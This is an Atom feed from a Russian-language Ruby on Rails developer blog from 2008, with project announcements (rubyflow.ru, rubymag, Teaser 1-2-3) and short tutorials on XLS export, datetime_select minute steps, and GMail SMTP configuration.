<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" xml:lang="en-US">
  <title>Hash Train - Home</title>
  <id>tag:ru.hashtrain.com,2009:mephisto/</id>
  <generator version="0.8.0" uri="http://mephistoblog.com">Mephisto Drax</generator>
  
  <link href="http://ru.hashtrain.com/" rel="alternate" type="text/html" />
  <updated>2008-12-19T12:18:31Z</updated>
  <link rel="self" href="http://feeds.feedburner.com/hashtrain" type="application/atom+xml" /><entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-12-19:386</id>
    <published>2008-12-19T12:15:00Z</published>
    <updated>2008-12-19T12:18:31Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/0fDqA17osx0/rubyflow-ru-3" rel="alternate" type="text/html" />
    <title>Новый наряд rubyflow.ru</title>
<summary type="html">&lt;p&gt;За четыре месяца ежедневного выхода в эфир наш проект &lt;strong&gt;rubyflow.ru&lt;/strong&gt; собрал больше двух сотен статей о различных событиях связанных с Ruby.&lt;/p&gt;


	&lt;p&gt;За это время мы собрали несколько идей, реализация которых позволит сделать использование &lt;strong&gt;rubyflow.ru&lt;/strong&gt; еще более удобным. Мы воплотили их и сегодня рады представить это вашему вниманию.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;За четыре месяца ежедневного выхода в эфир наш проект &lt;strong&gt;rubyflow.ru&lt;/strong&gt; собрал больше двух сотен статей о различных событиях связанных с Ruby.&lt;/p&gt;


	&lt;p&gt;За это время мы собрали несколько идей, реализация которых позволит сделать использование &lt;strong&gt;rubyflow.ru&lt;/strong&gt; еще более удобным. Мы воплотили их и сегодня рады представить это вашему вниманию.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Меню для работы с контентом.&lt;/strong&gt; Все действия, относящиеся к контенту, теперь перенесены в новое меню непосредственно над статьями.&lt;/p&gt;


	&lt;p&gt;&lt;strong&gt;2. Избранное.&lt;/strong&gt; До этого вы могли просто отмечать звездой понравившиеся вам статьи. А теперь вы имеете возможность просмотреть все отмеченные когда-то посты.&lt;/p&gt;


	&lt;p&gt;&lt;strong&gt;3. Поиск.&lt;/strong&gt; Контента уже накопилось столько, что простым перебором страниц пользоваться неудобно. Просматривая статистику посещений мы заметили, что многие ищут по &lt;strong&gt;rubyflow.ru&lt;/strong&gt;, используя &lt;a href="http://google.com"&gt;Google&lt;/a&gt;. Например, &lt;code&gt;site:rubyflow.ru bort&lt;/code&gt;.
Теперь вся мощь этой поисковой системы доступна прямо из меню.&lt;/p&gt;


	&lt;p&gt;&lt;strong&gt;4. Комментарии.&lt;/strong&gt; Всегда интересно что думают другие относительного того или иного поста. Мы добавили специальный блок последних комментариев, чтобы было проще следить за мнениями.&lt;/p&gt;


	&lt;p&gt;&lt;strong&gt;5. Отзывы о сайте.&lt;/strong&gt; Благодаря чудесному сервису &lt;a href="http://reformal.ru"&gt;Реформал&lt;/a&gt;, вы имеете возможность высказывать свои идеи, которые в итоге позволят сделать &lt;strong&gt;rubyflow.ru&lt;/strong&gt; лучше. Используйте кнопку “Оставить свой отзыв”! :)&lt;/p&gt;


	&lt;p&gt;Мы стараемся сделать &lt;strong&gt;rubyflow.ru&lt;/strong&gt; интереснее и полезнее. Читайте наши новости (на &lt;a href="http://rubyflow.ru"&gt;сайте&lt;/a&gt;, через &lt;a href="http://feedproxy.google.com/rubyflowru"&gt;&lt;span class="caps"&gt;RSS&lt;/span&gt;&lt;/a&gt; или с помощью &lt;a href="http://twitter.com/rubyflowru"&gt;Twitter&lt;/a&gt;)!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/0fDqA17osx0" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/12/19/rubyflow-ru-3</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-10-27:235</id>
    <published>2008-10-27T06:02:00Z</published>
    <updated>2008-10-27T06:22:16Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/fCdc1D3aTbA/rubymag-ruby" rel="alternate" type="text/html" />
    <title>rubymag - журнал о языке Ruby на русском языке</title>
<summary type="html">&lt;p&gt;Сегодня наша команда открыла очередной проект — &lt;strong&gt;&lt;a href="http://rubymag.ru"&gt;rubymag&lt;/a&gt;&lt;/strong&gt;. Это электронный журнал посвященный языку Ruby и всему, что с ним связано.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Сегодня наша команда открыла очередной проект — &lt;strong&gt;&lt;a href="http://rubymag.ru"&gt;rubymag&lt;/a&gt;&lt;/strong&gt;. Это электронный журнал посвященный языку Ruby и всему, что с ним связано.&lt;/p&gt;
&lt;p&gt;Идея &lt;strong&gt;&lt;a href="http://rubymag.ru"&gt;rubymag&lt;/a&gt;&lt;/strong&gt; появилась благодаря нашему предыдущему проекту &lt;a href="http://rubyflow.ru"&gt;rubyflow.ru&lt;/a&gt;. Rubyflow—социальные новости о языке Ruby, отобранные сообществом разработчиков. За два месяца работы этот сайт приобрел несколько десятков пользователей и каждый день его читают несколько сотен человек.&lt;/p&gt;


	&lt;p&gt;Но проблема в том, что формат статьи на &lt;a href="http://rubyflow.ru"&gt;rubyflow.ru&lt;/a&gt; ограничен лишь анонсом в пару абзацев, а очень часто бывают интересные материалы с более обширным описанием. Кроме того, есть полезные статьи на английском, которые недоступны разработчикам в силу незнания этого языка.&lt;/p&gt;


	&lt;p&gt;Суммируя все это, мы решили открыть отдельный ресурс, на котором будем публиковать статьи о проектах, библиотеках и событиях. Каждую неделю на &lt;strong&gt;&lt;a href="http://rubymag.ru"&gt;rubymag&lt;/a&gt;&lt;/strong&gt; несколько новых статей, а также по пятницам обязательный дайджест о событиях за неделю.&lt;/p&gt;


	&lt;p&gt;Узнавать об обновлениях журнала можно собственно на сайте &lt;a href="http://rubymag.ru"&gt;rubymag.ru&lt;/a&gt;, через &lt;span class="caps"&gt;RSS&lt;/span&gt;, подписку по электронной почте или &lt;a href="http://twitter.com/rubymag"&gt;Twitter&lt;/a&gt;.&lt;/p&gt;


	&lt;p&gt;Мы желаем вам приятного чтения.&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/fCdc1D3aTbA" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/10/27/rubymag-ruby</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-10-09:120</id>
    <published>2008-10-09T11:04:00Z</published>
    <updated>2008-10-09T11:10:09Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/8q6bdjJuTic/rubyflow-ru-2" rel="alternate" type="text/html" />
    <title>Rubyflow.ru публикует вакансии</title>
<summary type="html">&lt;p&gt;Первая вакансия появилась сегодня на &lt;a href="http://rubyflow.ru"&gt;rubyflow.ru&lt;/a&gt;.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Первая вакансия появилась сегодня на &lt;a href="http://rubyflow.ru"&gt;rubyflow.ru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Проект &lt;a href="http://lookatme.ru"&gt;lookatme.ru&lt;/a&gt; ищет rails-программиста, а &lt;a href="http://rubyflow.ru"&gt;rubyflow.ru&lt;/a&gt; старается помочь ему в этом.&lt;/p&gt;


	&lt;p&gt;Если вам интересна вакансия, то можно &lt;a href="http://habrahabr.ru/job/507"&gt;прочитать о ней подробнее&lt;/a&gt;. А если вы тоже в поиске кандидатов, то &lt;a href="mailto:mail@hashtrain.com"&gt;напишите нам, чтобы разместить вакансию&lt;/a&gt;&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/8q6bdjJuTic" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/10/9/rubyflow-ru-2</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-09-27:55</id>
    <published>2008-09-27T08:52:00Z</published>
    <updated>2008-09-27T08:54:18Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/YHJvrfLUGLg/rubyflow-ru-twitter" rel="alternate" type="text/html" />
    <title>RubyFlow.ru теперь имеет twitter-аккаунт</title>
<summary type="html">&lt;p&gt;До сегодняшнего дня читать &lt;a href="http://rubyflow.ru"&gt;RubyFlow.ru&lt;/a&gt; можно было прямо на сайте или через &lt;a href="http://feeds.feedburner.com/rubyflowru"&gt;&lt;span class="caps"&gt;RSS&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;До сегодняшнего дня читать &lt;a href="http://rubyflow.ru"&gt;RubyFlow.ru&lt;/a&gt; можно было прямо на сайте или через &lt;a href="http://feeds.feedburner.com/rubyflowru"&gt;&lt;span class="caps"&gt;RSS&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Теперь, благодаря сервису &lt;a href="http://twitterfeed.com"&gt;twitterfeed.com&lt;/a&gt;, все новые материлы доступны в &lt;a href="http://twitter.com/rubyflowru"&gt;официальном twitter-аккаунте&lt;/a&gt; Обновления поступают каждые полчаса, поэтому вы будете всегда в курсе последних новостей.&lt;/p&gt;


	&lt;p&gt;Следуйте за &lt;a href="http://twitter.com/rubyflowru"&gt;RubyFlow.ru&lt;/a&gt;!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/YHJvrfLUGLg" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/9/27/rubyflow-ru-twitter</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-09-16:33</id>
    <published>2008-09-16T06:01:00Z</published>
    <updated>2008-09-18T04:59:59Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/zSdsnS0xDvw/xls" rel="alternate" type="text/html" />
    <title>Экспорт данных в формате XLS</title>
<summary type="html">&lt;p&gt;Регулярная задача — экспорт данных (профили пользователей, заказы, товары) из вашего приложения. В большинстве случаев для этого используется как “носитель” формат &lt;span class="caps"&gt;CSV&lt;/span&gt;.&lt;/p&gt;


	&lt;p&gt;Если задача требует формата с большими возможностями, чем &lt;span class="caps"&gt;CSV&lt;/span&gt;, а кроме того, чтобы файл открывался как “родной” в Microsoft Excel, можно использовать файл формата &lt;span class="caps"&gt;XML&lt;/span&gt;, со специальной разметкой.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Регулярная задача — экспорт данных (профили пользователей, заказы, товары) из вашего приложения. В большинстве случаев для этого используется как “носитель” формат &lt;span class="caps"&gt;CSV&lt;/span&gt;.&lt;/p&gt;


	&lt;p&gt;Если задача требует формата с большими возможностями, чем &lt;span class="caps"&gt;CSV&lt;/span&gt;, а кроме того, чтобы файл открывался как “родной” в Microsoft Excel, можно использовать файл формата &lt;span class="caps"&gt;XML&lt;/span&gt;, со специальной разметкой.&lt;/p&gt;
&lt;h2&gt;Задача&lt;/h2&gt;


	&lt;p&gt;&lt;em&gt;Рассмотрим задачу: в панели управления, менеджер имеет кнопку “Экспортировать все заказы”. При нажатии на эту кнопку он должен получить файл со всеми заказами, сделанными в элекронном магазине. Файл должен легко открываться в Microsoft Excel.&lt;/em&gt;&lt;/p&gt;


	&lt;p&gt;И так, алгоритм генерации &lt;span class="caps"&gt;CSV&lt;/span&gt; понятен и прост:&lt;/p&gt;


	&lt;ol&gt;
	&lt;li&gt;получаем набор информации из базы данных,&lt;/li&gt;
		&lt;li&gt;выводим каждую запись из нашего набора, разделяя ее поля знаком табуляции и точкой с запятой.&lt;/li&gt;
	&lt;/ol&gt;


	&lt;p&gt;При генерации требуемого &lt;span class="caps"&gt;XML&lt;/span&gt; изменяется второй этап. Рассмотрим примеры кода.&lt;/p&gt;


	&lt;h2&gt;Код&lt;/h2&gt;


	&lt;p&gt;Контроллер &lt;strong&gt;orders_controller.rb&lt;/strong&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code class="ruby"&gt;def report
    headers['Content-Type'] = &amp;quot;application/vnd.ms-excel&amp;quot;
    headers['Content-Disposition'] = &amp;quot;attachment; filename=\&amp;quot;export.xls\&amp;quot;&amp;quot;
    headers['Cache-Control'] = ''

    @columns = [&amp;quot;Дата&amp;quot;, &amp;quot;Время&amp;quot;, &amp;quot;Товар&amp;quot;, &amp;quot;Количество&amp;quot;, &amp;quot;Покупатель&amp;quot;]
    @orders = Order.find :all
    render :layout =&amp;gt; false
  end&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;Представление &lt;strong&gt;report.xml.builder&lt;/strong&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code class="ruby"&gt;xml.instruct! :xml, :version=&amp;gt;&amp;quot;1.0&amp;quot;, :encoding=&amp;gt;&amp;quot;UTF-8&amp;quot;
xml.Workbook({
    'xmlns'      =&amp;gt; &amp;quot;urn:schemas-microsoft-com:office:spreadsheet&amp;quot;, 
    'xmlns:o'    =&amp;gt; &amp;quot;urn:schemas-microsoft-com:office:office&amp;quot;,
    'xmlns:x'    =&amp;gt; &amp;quot;urn:schemas-microsoft-com:office:excel&amp;quot;,    
    'xmlns:html' =&amp;gt; &amp;quot;http://www.w3.org/TR/REC-html40&amp;quot;,
    'xmlns:ss'   =&amp;gt; &amp;quot;urn:schemas-microsoft-com:office:spreadsheet&amp;quot; 
}) do

    xml.Styles do
        xml.Style 'ss:ID' =&amp;gt; 'Default', 'ss:Name' =&amp;gt; 'Normal' do
            xml.Alignment 'ss:Vertical' =&amp;gt; 'Bottom'
            xml.Borders
            xml.Font 'ss:FontName' =&amp;gt; 'Verdana'
            xml.Interior
            xml.NumberFormat
            xml.Protection
        end
        xml.Style 'ss:ID' =&amp;gt; 's22' do
            xml.NumberFormat 'ss:Format' =&amp;gt; 'General Date'
        end
    end

    xml.Worksheet 'ss:Name' =&amp;gt; &amp;quot;Orders&amp;quot; do
        xml.Table do

            # Header
            xml.Row do
                for column in @columns do
                    xml.Cell do
                        xml.Data column, 'ss:Type' =&amp;gt; 'String'
                    end
                end
            end

            # Rows
            for order in @orders
                xml.Row do
                    xml.Cell do xml.Data order.visit.strftime('%d.%m.%Y'), 'ss:Type' =&amp;gt; 'String' end
                    xml.Cell do xml.Data order.visit.strftime('%H:%M'), 'ss:Type' =&amp;gt; 'String' end
                    xml.Cell do xml.Data order.offer, 'ss:Type' =&amp;gt; 'String' end
                    xml.Cell do xml.Data order.quantity, 'ss:Type' =&amp;gt; 'String' end
                    xml.Cell do xml.Data order.customer, 'ss:Type' =&amp;gt; 'String' end
                end
            end
        end
    end
end&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;Теперь, если вызвать &lt;em&gt;orders/report&lt;/em&gt; браузер предложит сохранить сгенерированный файл.&lt;/p&gt;


	&lt;p&gt;Расширение &lt;em&gt;.xls&lt;/em&gt;, у получаемого файла, позволит без проблем открыть его в Microsoft Excel (протестировано в версиях XP и 2007)&lt;/p&gt;


	&lt;h2&gt;Дополнительно&lt;/h2&gt;


	&lt;p&gt;Такой метод генерации позволяет не только получать файл с данными, но и применять некоторое форматирование эти данных.&lt;/p&gt;


	&lt;p&gt;Статья основана на опыте применения &lt;a href="http://wiki.rubyonrails.org/rails/pages/HowToExportToExcel"&gt;метода из материалов wiki.rubyonrails.org&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;Приятной работы вам!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/zSdsnS0xDvw" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/9/16/xls</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-09-07:26</id>
    <published>2008-09-07T11:34:00Z</published>
    <updated>2008-09-07T11:38:00Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/aK42pVeXj1A/rubyflow-ru" rel="alternate" type="text/html" />
    <title>RubyFlow.ru - социальные новости о Ruby</title>
<summary type="html">&lt;p&gt;&lt;a href="http://rubyflow.ru"&gt;RubyFlow.ru&lt;/a&gt; —это социальный новостной проект о событиях связанных с языком Ruby.&lt;/p&gt;


	&lt;p&gt;Все новости публикуются сообществом разработчиков, а материалы от “проверенных временем” пользователей, попадают в официальную &lt;span class="caps"&gt;RSS&lt;/span&gt;-ленту. Такой подход позволяет избавится от спама в новостях.&lt;/p&gt;


	&lt;p&gt;Добавить материал может каждый посетитель, причем даже необязательно быть зарегистрированым пользователем.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;&lt;a href="http://rubyflow.ru"&gt;RubyFlow.ru&lt;/a&gt; —это социальный новостной проект о событиях связанных с языком Ruby.&lt;/p&gt;


	&lt;p&gt;Все новости публикуются сообществом разработчиков, а материалы от “проверенных временем” пользователей, попадают в официальную &lt;span class="caps"&gt;RSS&lt;/span&gt;-ленту. Такой подход позволяет избавится от спама в новостях.&lt;/p&gt;


	&lt;p&gt;Добавить материал может каждый посетитель, причем даже необязательно быть зарегистрированым пользователем.&lt;/p&gt;
&lt;p&gt;Идея &lt;a href="http://rubyflow.com"&gt;RubyFlow.com&lt;/a&gt; принадлежит Питеру Куперу (&lt;a href="http://peterc.org/"&gt;Peter Cooper&lt;/a&gt;), а на &lt;a href="http://github.com"&gt;GitHub&lt;/a&gt; доступны несколько версий движка.&lt;/p&gt;


	&lt;p&gt;Существуют локализованные версии &lt;a href="http://rubyflow.com"&gt;RubyFlow.com&lt;/a&gt; для &lt;a href="http://flow.rubynow.com/"&gt;китайского&lt;/a&gt;, &lt;a href="http://www.kuwata-lab.com/rubyflow-ja/"&gt;японского&lt;/a&gt; и &lt;a href="http://www.rubyweb.nl/"&gt;голландского&lt;/a&gt; языков.&lt;/p&gt;


	&lt;p&gt;Мы побеседовали с Питером, и получив официальное разрешение, приступили к работе над &lt;a href="http://rubyflow.ru"&gt;русской версией RubyFlow&lt;/a&gt;.&lt;/p&gt;


	&lt;p&gt;На сайте &lt;a href="http://rubyflow.ru"&gt;RubyFlow.ru&lt;/a&gt; не будет рекламы или иных способов получения прибыли. Пожелания и комментарии можно отправлять нам по адресу &lt;a href="mailto:mail@hashtrain.com"&gt;mail@hashtrain.com&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;Приятной работы вам!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/aK42pVeXj1A" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/9/7/rubyflow-ru</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-08-07:24</id>
    <published>2008-08-07T07:55:00Z</published>
    <updated>2008-08-07T08:03:52Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/r5iJ1L-imUI/datetime_select-time_select-minute_step" rel="alternate" type="text/html" />
    <title>Работа с datetime_select и time_select при использовании опции :minute_step</title>
<summary type="html">&lt;p&gt;Хелперы &lt;em&gt;datetime_select&lt;/em&gt; и &lt;em&gt;time_select&lt;/em&gt; используются для генерации блока dropdown-полей выбора даты и времени (или только времени) внутри формы. По умолчанию минуты выводятся от 00 до 59 с шагом 1.&lt;/p&gt;


	&lt;p&gt;Зачастую такая точность не нужна, а кроме того неудобно использовать выпадающий список из 60 значений. Параметр :minute_step позволяет указать нужный нам шаг изменения значения минут.&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Хелперы &lt;em&gt;datetime_select&lt;/em&gt; и &lt;em&gt;time_select&lt;/em&gt; используются для генерации блока dropdown-полей выбора даты и времени (или только времени) внутри формы. По умолчанию минуты выводятся от 00 до 59 с шагом 1.&lt;/p&gt;


	&lt;p&gt;Зачастую такая точность не нужна, а кроме того неудобно использовать выпадающий список из 60 значений. Параметр :minute_step позволяет указать нужный нам шаг изменения значения минут.&lt;/p&gt;
&lt;p&gt;Как многое в Rails, эти хелперы обладают некоторым уровнем “интеллекта”—для значения “по умолчанию” они используют текущее дату и время (если вы не указали :include_blank =&amp;gt; true).&lt;/p&gt;


	&lt;h2&gt;В чем проблема?&lt;/h2&gt;


	&lt;p&gt;Она в том, что при использовании опции :minute_step значение минут округляется до 00, если переданное в хелпер значение времени не кратно значению :minute_step. Таким образом, указав :minute_step =&amp;gt; 5 мы получим эффект невозможности отобразить 42 минуты.&lt;/p&gt;


	&lt;p&gt;Понятно, что если ваше приложение “считает” минуты с некоторым шагом, то и значения минут будут также кратны этому шагу. Но что делать при операции создания записи? Т.е. когда устанавливается текущее время, а это невсегда кратно шагу.&lt;/p&gt;


	&lt;p&gt;Допустим шаг у нас 5 минут, а текущее время 15:42, тогда в форме создания записи вы увидите время 15:00, и нужно будет кликать и выбирать ближайшее удобное значение (40 или 45 минут). Это невсегда удобно.&lt;/p&gt;


	&lt;h2&gt;Вариант решения?&lt;/h2&gt;


	&lt;p&gt;Один из вариантов—округлить значение текущего времени до точки кратной нашему шагу. В коде это будет выглять вот так:&lt;/p&gt;


&lt;pre&gt;&lt;code class="ruby"&gt;&amp;lt;%= datetime_select :created_at, :default =&amp;gt; (Time.current.min % 5).minutes.ago(Time.current), :minute_step =&amp;gt; 5 %&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;или для &lt;em&gt;time_select&lt;/em&gt;&lt;/p&gt;


&lt;pre&gt;&lt;code class="ruby"&gt;&amp;lt;%= time_select :created_at, :default =&amp;gt; (Time.current.min % 5).minutes.ago(Time.current), :minute_step =&amp;gt; 5 %&amp;gt;&lt;/code&gt;&lt;/pre&gt;

	&lt;p&gt;Таким образом мы всегда будем иметь в полях ввода минут ближайшее к удобному для нас значение.&lt;/p&gt;


	&lt;p&gt;Приятной работы!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/r5iJ1L-imUI" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/8/7/datetime_select-time_select-minute_step</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>shaliko</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-07-27:22</id>
    <published>2008-07-27T18:52:00Z</published>
    <updated>2008-07-27T19:00:33Z</updated>
    <category term="Блог" />
    <category term="gmail" />
    <category term="plagin" />
    <category term="ruby" />
    <category term="smtp" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/zDfS5wUzQ30/gmail-smtp-ruby-on-rails" rel="alternate" type="text/html" />
    <title>GMail SMTP в Ruby on Rails</title>
<summary type="html">&lt;p&gt;
Для использования GMail SMTP (или любой другой SMTP при TLS аутентификацией) c  ActiveRecord для отправки электронной почты в Ruby по Rails необходимо использовать «action_mailer_optional_tls» плагин.
&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;
Для использования GMail SMTP (или любой другой SMTP при TLS аутентификацией) c  ActiveRecord для отправки электронной почты в Ruby по Rails необходимо использовать «action_mailer_optional_tls» плагин.
&lt;/p&gt;
&lt;h3&gt;Установка&lt;/h3&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;./script/plugin install http://svn.douglasfshearer.com/rails/plugins/action_mailer_optional_tls&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Настройка&lt;/h3&gt;

&lt;p&gt;
Для использования TLS аутентификации в стандартной конфигурации добавляется ключ «tls». Добавляем следующий код в environment.rb.
&lt;/p&gt;

&lt;pre&gt;&lt;code class="ruby"&gt;ActionMailer::Base.smtp_settings = {
    :tls =&amp;gt; true,
    :address =&amp;gt; &amp;quot;smtp.gmail.com&amp;quot;,
    :port =&amp;gt; &amp;quot;587&amp;quot;,
    :domain =&amp;gt; &amp;quot;YOURDOMAIN&amp;quot;,
    :authentication =&amp;gt; :plain,
    :user_name =&amp;gt; &amp;quot;GOOGLEUSERNAME&amp;quot;,
    :password =&amp;gt; &amp;quot;GOOGLEPASSWORD&amp;quot; 
}&lt;/code&gt;&lt;/pre&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/zDfS5wUzQ30" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/7/27/gmail-smtp-ruby-on-rails</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-07-10:20</id>
    <published>2008-07-10T09:19:00Z</published>
    <updated>2008-07-28T11:00:17Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/hY-M03MMWTA/teaser-1-2-3-2" rel="alternate" type="text/html" />
    <title>Зачем мы создали Teaser 1-2-3</title>
<summary type="html">&lt;p&gt;Наш сервис работает открыто второй день. Как и ожидалось, отношение к нему разное и, зачастую, полярное – кто-то приветствует, а кто-то не доверяет. Так зачем же мы создали &lt;a href="http://teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt;?&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Наш сервис работает открыто второй день. Как и ожидалось, отношение к нему разное и, зачастую, полярное – кто-то приветствует, а кто-то не доверяет. Так зачем же мы создали &lt;a href="http://teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;Как описывалось &lt;a href="http://ru.hashtrain.com/2008/7/8/teaser-1-2-3"&gt;в предыдущей статье&lt;/a&gt; , мы сделали сервис для собственных нужд. Это было во время одного из этапов работы над проектом &lt;a href="http://estatehq.ru"&gt;EstateHQ&lt;/a&gt; (Штаб-квартира недвижимости).&lt;/p&gt;


	&lt;p&gt;Дело в том, что Штаб-квартира не единственный грядущий проект, соответственно, будут еще “тизерные” периоды. И было бы глупо каждый раз добавлять в код проекта ту часть, которая бы отвечала за сбор почтовых адресов (даже если эта часть уже написана и отлажена). Вот потому мы вынесли код, обслуживающий тизерные страницы, в отдельный сервис. Сервис, который имеет удобный интерфейс и занимается “тизерной рутиной”.&lt;/p&gt;


	&lt;p&gt;Принцип &lt;a href="http://teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; таков, что на сервере с тизерной страницей достаточно всего лишь поддержки &lt;span class="caps"&gt;HTML&lt;/span&gt; :) То есть, вы создаете, как минимум, две страницы &lt;del&gt;- одна с формой регистрации, которую сгенерировал &lt;a href="http://teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt;, а вторая страница -&lt;/del&gt; куда направляется посетитель после успешной регистрации (разместите там свои благодарности за переданный адрес электронной почты). Эта техническая особенность тоже может быть полезна, в том случае, если на данный момент не настроен (неизвестен или еще какие-то варианты) полнофункциональный сервер вашего проекта.&lt;/p&gt;


	&lt;p&gt;Затем мы решили безвозмездно поделиться сервисом с другими разработчиками.&lt;/p&gt;


	&lt;p&gt;Задавать вопросы и делиться опытом можно в группе поддержки. Ее адрес—&lt;a href="http://groups.google.com/group/teaser123"&gt;http://groups.google.com/group/teaser123&lt;/a&gt;&lt;/p&gt;


	&lt;p&gt;&lt;a href="http://teaser123.net"&gt;Teaser 1-2-3&lt;/a&gt; абсолютно бесплатен. Единственная плата—ваше уважение, если наш сервис помогает вам сэкономить время и сосредоточиться на основном проекте.&lt;/p&gt;


	&lt;p&gt;Приятной работы!&lt;/p&gt;
          &lt;img src="http://feeds.feedburner.com/~r/hashtrain/~4/hY-M03MMWTA" height="1" width="1"/&gt;</content>  <feedburner:origLink>http://ru.hashtrain.com/2008/7/10/teaser-1-2-3-2</feedburner:origLink></entry>
  <entry xml:base="http://ru.hashtrain.com/">
    <author>
      <name>soulim</name>
    </author>
    <id>tag:ru.hashtrain.com,2008-07-08:18</id>
    <published>2008-07-08T10:44:00Z</published>
    <updated>2008-09-04T05:15:10Z</updated>
    <category term="Блог" />
    <link href="http://feedproxy.google.com/~r/hashtrain/~3/vUs0MzISAMQ/teaser-1-2-3" rel="alternate" type="text/html" />
    <title>Teaser 1-2-3. Бесплатный сервис для разработчиков</title>
<summary type="html">&lt;p&gt;Создание любого нового проекта есть путь, состоящий из нескольких этапов, один из которых—анонсирование продукта с помощью тизерной страницы, когда вы чуть-чуть приоткрываете завесу тайны и заявляете миру о скором выходе нового сервиса.&lt;/p&gt;


	&lt;p&gt;Практически уже ставший классическим подход— сбор адресов электронной почты на тизерной странице проекта. Всем этим персонам можно (и нужно) рассказывать об  этапах разработки, всячески подстегивая их интерес, а затем первыми пригласить на открытие сервиса. По сути, это ваши первые и, возможно, самые верные пользователи!&lt;/p&gt;</summary><content type="html">
            &lt;p&gt;Создание любого нового проекта есть путь, состоящий из нескольких этапов, один из которых—анонсирование продукта с помощью тизерной страницы, когда вы чуть-чуть приоткрываете завесу тайны и заявляете миру о скором выходе нового сервиса.&lt;/p&gt;


	&lt;p&gt;Практически уже ставший классическим подход— сбор адресов электронной почты на тизерной странице проекта. Всем этим персонам можно (и нужно) рассказывать об  этапах разработки, всячески подстегивая их интерес, а затем первыми пригласить на открытие сервиса. По сути, это ваши первые и, возможно, самые верные пользователи!&lt;/p&gt;
